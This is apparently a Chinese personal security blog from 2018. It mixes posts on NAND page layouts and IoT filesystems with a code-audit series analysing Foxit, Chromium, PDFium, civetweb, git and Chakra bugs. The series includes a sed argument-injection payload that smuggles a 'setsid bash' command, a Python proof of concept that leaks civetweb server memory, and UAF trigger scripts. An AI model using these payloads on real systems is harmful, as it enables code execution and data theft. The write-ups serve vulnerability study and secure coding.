Sunday, July 15, 2018

NAND中的备用(spare)页

部分节选自:Improving NAND Throughput with Two-Plane and Cache Operations
http://www.macronix.com/Lists/ApplicationNote/Attachments/1907/AN0268V1_Improving%20NAND%20Throughput%20with%20Two-Plane%20and%20Cache%20Operations.pdf

NAND数据的页长可以是
(1)512字节,通常称为“小页”
(2)2 KB,称为 “大页”
(3)或 4 KB页。

最常见的SLC NAND是2KB的页面。

该页面扩展了可寻址空间,通常称为“备用区域”,用于存储ECC、奇偶校验和其他元数据。对于2KB的页面NAND,空闲区域通常是64个字节。因此,每个页面实际上有2112字节的可寻址空间。
目前市场上提供的SLC NAND页面大小如下:
(1)512 字节页+16 字节备用:“小页”。 它只有较小的密度。通常擦除块大小为16 KB,因此这种类型的NAND也称为“小块”NAND。
(2)2 KB页+ 64 字节备用:“大页”。市场上常见的NAND大小从512 MB到8GB。擦除块大小为128 KB。
(3)4 KB页+224 字节备用。常见的尺寸大于4GB。擦除块大小为512 KB。

下面列出了SLC NAND产品中可用的典型命令。
Read Commands
- Page Read
- Cache Read Sequential
- Cache Read Random
- Two-plane Read
- Two-plane Cache Read
Program / Erase Commands
- Page Program
- Cache Program
- Two-plane Program
- Two-plane Cache Program
- Block Erase
- Two-plane Block Erase
ID/ Status Commands
- ID Read
- Status Read / Status Enhance Read
- Reset
Other Commands
- Parameter Page Read (ONFI)
- Feature Set Operation (ONFI)
- Unique ID Read (ONFI)

Tuesday, June 26, 2018

[06] 支持动态语言的程序使用未初始化的内存

https://www.zerodayinitiative.com/advisories/ZDI-18-332/

var int32View = new Int32Array(0×6c);
app.alert(util.printf(”Uninitialized: 0x%04x”, int32View[0]));

Foxit中,当新建一个Int32Array,而且不赋予初始值时,Foxit并没有清零内存,而是直接使用内存。

因此,用户的脚本语言可以得到内存上原始的值。通过特定的创建、释放序列可以泄露函数地址,进而泄露程序基址。

Sunday, June 24, 2018

[05] 启动进程时的参数注入

https://bugs.chromium.org/p/chromium/issues/detail?id=817993

当没有正确处理参数并启动进程时,可能发生参数注入。

get_key_value() {
  local file="$1" key="$2" value

  if [ -f "${file}" ]; then
    # Return the first entry.  There shouldn't be more than one anyways.
    # Substr at length($1) + 2 skips past the key and following = sign (awk
    # uses 1-based indexes), but preserves embedded = characters.
>>>    value=$(sed -n "/^${key}[[:space:]]*=/{s:^[^=]*=::p;q}" "${file}")
  fi

  echo "${value:-undefined}"
}

......

  # Grab any variable that begins with upload_.
  local v
>>>  for k in $(get_keys "${meta_path}" "^upload_"); do
>>>    v="$(get_key_value "${meta_path}" "${k}")"
    case ${k} in
      # Product & version are handled separately.
      upload_var_prod) ;;
      upload_var_ver) ;;
      upload_var_*)
        set -- "$@" -F "${upload_prefix}${k#upload_var_}=${v}"
        ;;
      upload_text_*)
        if [ -r "${v}" ]; then
          set -- "$@" -F "${upload_prefix}${k#upload_text_}=<${v}"
        fi
        ;;
      upload_file_*)
        if [ -r "${v}" ]; then
          set -- "$@" -F "${upload_prefix}${k#upload_file_}=@${v}"
        fi
        ;;
    esac
  done

输入为

/p;s^.*^setsid${IFS}bash${IFS}<path-to-shell-script>${IFS}&^ep;/=1

时发生注入,原因是sed的-e参数为执行脚本。

-e script, --expression=script
add the script to the commands to be executed

[04] 内部代码串联触发callback并错误更新状态导致UAF

https://chromium-review.googlesource.com/c/chromium/src/+/964592
https://bugs.chromium.org/p/chromium/issues/detail?id=822091

PoC:

Document Javascript
-------------------
01  app.setTimeOut('this.pageNum = 4',1000);
02  app.setTimeOut('this.pageNum = 1;',2000);

Page Close event of First Page
-------------------------------
03  this.getField('txt2').setFocus();

Format event of "txt1" Text Field on First Page
---------------------------------------------
04  a = this.pageNum;

当第一条指令执行时,页面设置了4个page,每个page为一个对象,当第二条指令执行时,页面被设置为1页。
第三句执行时,程序会调用GetVisiblePageIndex重新计算页面,同时,pages_[page_index]->GetPage() 会触发Format event handler,即第4句。
第四条指令执行时,PDFiumEngine::CalculateVisiblePages()将会被调用,它使用std::swap交换visible_pages_和一个空数组,因此,visible_pages_实际上内容都是被delete的状态。

注意04实际上是由03触发调用的,03在调用04之前,将visible_pages_无效化了,所以,在04的代码GetVisiblePageIndex执行时,将会访问到被visible_pages_中被释放的内容,产生UAF。

PDFiumEngine::CalculateVisiblePages() 
{
  ...........
  std::vector<int> formerly_visible_pages;
  std::swap(visible_pages_, formerly_visible_pages);  <--- C. 04 invalidate
  ...........
}

int PDFiumEngine::GetVisiblePageIndex(FPDF_PAGE page) {
  for (int page_index : visible_pages_) {              <--- A. 03 loop
    if (pages_[page_index]->GetPage() == page)   <--- B. 03 triggers 04
      return page_index;                                      <--- D. visible_pages_ invalid now, in next loop, this code will fail. UAF.
  }
  return -1;
}

Saturday, June 23, 2018

[03] 跨平台的代码实现问题

此问题是我在审计旧版本的libcivetweb库时发现,线上版本已在2017年之后的某个版本修复

mg_snprintf(conn, NULL, /* No truncation check for ebuf */ ebuf, sizeof(ebuf), “Bad HTTP version: [%s]”, ri->http_version);
mg_send_http_error(conn, 505, “%s”, ebuf);

这里,mg_snprintf() 是vsnprintf的Wrapper。需要注意的是,在Windows上,*snprintf族函数在输入长度>buf长度时,并不会添加。 参考MSDN (https://msdn.microsoft.com/en-us/library/2ts7cx93.aspx):

“The _snprintf family of functions only appends a terminating null character if the formatted string length is strictly less than count characters.”

所以,如果在Visual Studio和Windows环境下编译这段代码,然后发送一个错误的HTTP版本号,如HTTP/1.XXXXXXXXX(>sizeof(ebuf)) , 输出的字符串 “Bad HTTP version:[1.XXXXX” 将不会有结尾。

所以,当下一行被执行时,
mg_send_http_error(conn, 505, “%s”, ebuf);

这个字符串会发送给用户,注意这个字符串是没有结尾的,所以这里实际上会越界读取内容,并发送紧邻的内存数据,导致服务器内存信息泄露。

——————–英文版—————–

Multiple Information Leak Vulnerabilities on Windows Platform (Windows Only)

Please note this vulnerability is already fixed in early 2017, this is a report based on the older version (year 2014).

civetweb.c
mg_snprintf(conn, NULL, /* No truncation check for ebuf */ ebuf, sizeof(ebuf), “Bad HTTP version: [%s]”, ri->http_version);
mg_send_http_error(conn, 505, “%s”, ebuf);

mg_snprintf() is a wrapper for vsnprintf. Please note on Windows platform, *snprintf family functions will not add a terminating zero to the buffer if the length of input is larger or equal to the given length, as the MSDN (https://msdn.microsoft.com/en-us/library/2ts7cx93.aspx) says:

“The _snprintf family of functions only appends a terminating null character if the formatted string length is strictly less than count characters.”

So actually when you compile this code & run this code use Visual Studio & Windows, and send an HTTP request with malformed HTTP/1.XXXXXXXXX(>sizeof(ebuf)) , the output string “Bad HTTP version:[1.XXXXX” will be truncated and with no x00 append to it.

When the second line is being executed:

mg_send_http_error(conn, 505, “%s”, ebuf);

This string is send to HTTP buffer, and the memory data adjacent to “ebuf” will be leaking to the attacker. Other snprintf calls without mandatory adding terminating zero will also face to this problem.

PoC:

#!/bin/env python
import time
import socket

host1 = '127.0.0.1'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host1, 8081))

data_to_send=("GET / HTTP/1." +  '1' * 120 + " rnContent-Length: 0rnrnrnrn")

print(data_to_send)
s.send(data_to_send)

while True:
    new = s.recv(4096)
    if not new:
      s.close()
      break
    print(new)

s.close()

Friday, June 1, 2018

[02] 路径穿越导致文件覆盖或非预期操作

https://github.com/Rogdham/CVE-2018-11235
https://blogs.msdn.microsoft.com/devops/2018/05/29/announcing-the-may-2018-git-security-vulnerability/

When you clone it with the –recurse-submodules flag, the evil script is executed:

$ git clone --recurse-submodules repo dest_dir
Cloning into 'dest_dir'...
done.
Submodule 'Spoon-Knife' (https://github.com/octocat/Spoon-Knife) registered for path 'Spoon-Knife'
Submodule '../../modules/evil' (https://github.com/octocat/Spoon-Knife) registered for path 'evil'
Cloning into '/snip/dest_dir/Spoon-Knife'...
Submodule path 'Spoon-Knife': checked out 'd0dd1f61b33d64e29d8bc1372a94ef6a2fee76a9'

sub module 包含 ../ 时,会发生路径穿越 ‘../../modules/evil’ ,将内容写入其他目录,并因此修改git的配置文件,执行远程代码。

修正:https://github.com/git/git/commit/0383bbb9015898cbc79abd7b64316484d7713b44 (submodule-config: verify submodule names as paths)
检查路径中的../

Sunday, May 20, 2018

[01] 假定信息状态数组与内存中真实情况相同

CVE-2018-0980 Microsoft Edge Chakra JIT - Bound Check Elimination Bug

代码片段:

if(hoistBlock != currentBlock)
{
    for(InvariantBlockBackwardIterator it(this, currentBlock->next, hoistBlock, nullptr);
        it.IsValid();
        it.MoveNext())
    {
        BasicBlock *const block = it.Block();
        ...
 

InvariantBlockBackwardIterator类用于反向遍历挂起的边界检查信息, 正常情况下, 程序应当按照内存中的真实环境去实施检查, 但是在ChakraCore有问题的代码中, 代码采用了遍历信息链表的方式去检查, 而没有理会真实的内存环境, 当链表中存在无效项时,即此时链表的信息与实际内存环境并不匹配,因此导致程序错误地处理了边界检查, 并导致内存损坏.

修正后代码:
https://github.com/Microsoft/ChakraCore/commit/af07d28d486843bbd1fdefe742a9c090026b32ee

PoC:
https://www.exploit-db.com/exploits/44653/

不安全的代码系列汇总

在此收集源自开源项目, 工程代码中的典型错误并汇总, 许多问题都非常具有典型意义, 在对其他代码审计时很有可能会有所帮助.

之后新增的文章会在此页面下给出跟踪链接.

转载请注明作者 Qian Wenxiang @ r0.to

[01] 假定信息状态数组与内存中真实情况相同 - http://r0.to/?x=entry:entry180520-133334

Saturday, March 24, 2018

向Arduino Nano(祖国版)中上传程序

主角是Arduino Nano,淘宝买的,十几块钱一个,低价果然代表这玩意不是正品,查阅网上资料可以发现,这个Nano使用的是WCH CH340G串口芯片组,而这个芯片也就是最明显的Arduino Nano clone(山寨版)。
8382c2436dd1794f9606684604324a10.jpg
在Windows上,插入以后系统可以正确识别,不过在Debian上,稍微有点问题。可能因为系统比较旧,插入以后不识别,后来找了找,发现有这么个http://www.wch.cn/download/CH341SER_LINUX_ZIP.html驱动。下载后,root权限下 make && make load 即可。
180324175324.png
安装完成后,重新插入USB设备,dmesg可以发现有提示已经载入。再重新打开Arduino IDE,发现仍然无法写入数据,执行chmod 777 /dev/ttyUSB0后,正确配置即可上传程序。

国产芯片真的很便宜……

Saturday, March 10, 2018

常见的IoT设备文件系统类型

ext2

ext 2或第二扩展文件系统是Linux内核的文件系统。它最初是由Rémy Card作为扩展文件系统(Ext)的替代品而设计的。它是根据与BSD的伯克利快速文件系统相同的原则设计的,它是linux的第一个商业级文件系统。
ext 2的规范实现是Linux内核中的“ext2fs”文件系统驱动程序。其他实现(质量和完整性各不相同)存在于GNUHurd、Minix 3、一些BSD内核、MINT以及第三方Microsoft Windows和MacOS驱动程序中。
ext 2是几个Linux发行版中的默认文件系统,包括Debian和Red Hat Linux,直到最近被ext 3所取代,ext 3几乎完全兼容ext 2,并且是一个日志文件系统。ext 2仍然是基于闪存的存储介质(如sd卡和usb闪存驱动器)的首选文件系统,因为它缺少日志,从而提高了性能并将写入次数降到最低,而且闪存设备的写入周期也有限。

分区标志:
Apple_UNIX_SVR2 (Apple Partition Map)
0×83 (Master Boot Record)
EBD0A0A2-B9E5-4433-87C0-68B6B72699C7 (GPT)

结构:
目录内容:Table
文件分配:bitmap (free space), table (metadata)
坏块:Table

限制:
最大卷大小:2–32 TiB
最大文件大小:16 GiB – 2 TiB
最大文件数量:10^18
最大文件名长度:255 bytes
文件名中允许的字符:除了 NUL ('’)和’/'之外的所有字符

特性:
会记录的日期:modification (mtime), attribute modification (ctime), access (atime)
日期区间:December 14, 1901 - January 18, 2038
时间最高精度:1 s
文件系统权限:POSIX
透明压缩:不支持 (通过补丁可用)
透明加密:不支持

YAFFS2

Yaffs(Yet Another Flash File System)是由新西兰怀特里夫的查尔斯·曼宁为Aleph One公司设计和编写的。
Yaffs 1是这个文件系统的第一个版本,它是为当前的NAND芯片设计的,芯片的页面大小为512字节(+16字节空闲(OOB,带外)空间)。工程于2002开始,并于同年晚些时候首次发布。最初的工作是由托比丘吉尔有限公司和光明之星工程公司赞助的。
这些旧的芯片通常还允许每页写2到3个周期。YAFFS利用了这一点:脏页是通过写入特定的备用区域字节来标记的。较新的NAND闪存芯片有更大的页面,第一个2K页(+64个字节OOB),后面的的4K,有更严格的写入要求。擦除块中的每个页面(128 KB)必须按顺序写入,每个页面必须只写一次。
YAFFS 2是为适应这些新芯片而设计的。它基于YAFFS 1源代码,其主要区别是内部结构不固定512字节大小,并且在每个写好的页面上放置一个块序列号。这样,旧页就可以在逻辑上被覆盖,而不会违反“写一次”规则。它于2003年底发布。

YAFFS是一个健壮的日志结构文件系统,它将数据完整性作为一项高优先级的目标。第二目标是高性能。YAFFS的性能通常会超过大多数替代产品。它也被设计成可移植的产品,并已用于Linux、WinCE、PSO、ecos、ThreadX和各种特殊用途操作系统。在没有OS、嵌入式操作系统或引导加载程序的情况下,使用了一个变体‘YAFFS/Direct’:它具有相同的核心文件系统,但与较高和较低级别的代码以及NAND闪存硬件交互的接口更简单。

YAFFS 2在概念上与YAFFS 1相似,共享大量相同的代码;YAFFS 2代码库通过向后兼容性支持YAFFS 1数据格式。主要的不同之处在于,YAFFS 2需要跨越显著的障碍,以满足现代NAND闪存的“只写一次”的要求。

YAFFS 2用一个单调递增的序列号标记每个新写的块。可以从块序号和块内的块偏移量推断块的序列。因此,当YAFFS 2扫描闪存并检测到具有相同ObjectID和SpringkNumbers的多个块时,它可以通过取最大序列号来选择使用哪个块。为了提高效率,YAFFS 2还引入了收缩头的概念。例如,当一个文件被调整到更小的大小时,YAFFS 1将把所有受影响的块标记为脏–由于“只写一次”规则,YAFFS 2不能这样做。相反,YAFFS 2写了一个“收缩标头”,这表示在这一点之前的一定数量的页面是无效的。这使YAFFS 2能够在系统重新启动时重构文件系统的最终状态。
YAFFS 2使用了NAND闪存的更抽象的定义,允许它用于具有不同几何形状、坏块处理规则的更广泛的闪存部件。
YAFFS 2后来增加了对检查点的支持,它绕过了正常的挂载扫描,可以达到非常快的挂载时间。

JFFS2

日志闪存文件系统版本2或JFFS 2是用于闪存设备的日志结构文件系统。它是JFFS的继承者。JFFS 2自2001年9月23日作为内核2.4.10版本的一部分合并到linux内核主线后就被包含到了linux内核中。JFFS 2也可用于一些引导加载程序,如DAS U-Boot、Open Firmware、Ecos RTOS和RedBoot。JFFS 2最著名的使用者是OpenWRT。

已经至少有三个文件系统作为JFFS 2的替代品:LogFS、UBIFS和YAFFS。

特性:
透明压缩:zlib, rubin、rtime

CramFS

压缩的ROM文件系统(CramFS)是一个免费的(GPL)只读Linux文件系统,旨在简化和节省空间。它主要用于嵌入式系统和小占用空间系统.。
与常规文件系统的压缩图像不同,可以按原样使用压缩图像,即无需首先解压缩它。因此,一些Linux发行版对initrd映像(特别是debian 3.1)和安装映像(特别是suse linux)使用临时内存,其中内存和映像大小都有限制。

文件系统设计:
文件系统上的文件是zlib压缩的,一次压缩一页,以允许随机读取访问。元数据不是压缩的,而是以比传统文件系统更节省空间的简洁表示形式表示的。
文件系统故意是只读的,以简化其设计;对压缩文件的随机写入访问很难实现。将文件打包到新的文件映像中的实用工具(mkcramfs)附带了一个新的文件压缩文件。
文件大小限制在16 MB以下。最大文件系统大小略低于272 MB。(文件系统上的最后一个文件必须在256 MB块之前开始,但可以扩展到超过256 MB块。)

SquashFS

squashfs是一个用于linux的压缩只读文件系统。squashfs压缩文件、inode和目录,并支持高达1MB的块大小以获得更大的压缩率。支持多种压缩算法。squashfs也是免费软件的名称,在GPL下获得许可,用于访问squashfs文件系统。
squashfs用于一般只读文件系统,并用于需要较低开销的受限块设备存储系统(例如嵌入式系统)。

Squashfs被Arch Linux、Debian、Fedora、Gentoo Linux、LinuxMint、Salix、Ubuntu的LiveCD版本以及诸如OpenWRT和DD-WRT路由器固件等嵌入式发行版使用。它还用于Chromecast和AndroidNougat的系统分区。它通常与联合挂载文件系统(如UnionFS、OverlayFS或aufs)相结合,为实时Linux发行版提供读写环境。这既利用了Squashfs的高速压缩功能,也利用了在从活动CD运行它时更改发行版的能力。DebianLive、Mandriva One、PuppyLinux、SalixLive和Slax等发行版使用这种组合。

Squashfs也被Linux终端服务器项目和Splashtop使用。工具unsquashfs和mksquashfs已经移植到WindowsNT-Windows8.1。7-Zip也支持Squashfs。

限制:
最大卷大小:16 EiB (2^64) bytes
最大文件大小:16 EiB (2^64) bytes
特性:
文件属性:POSIX以及扩展属性
透明压缩:gzip LZMA LZO LZMA2 LZ4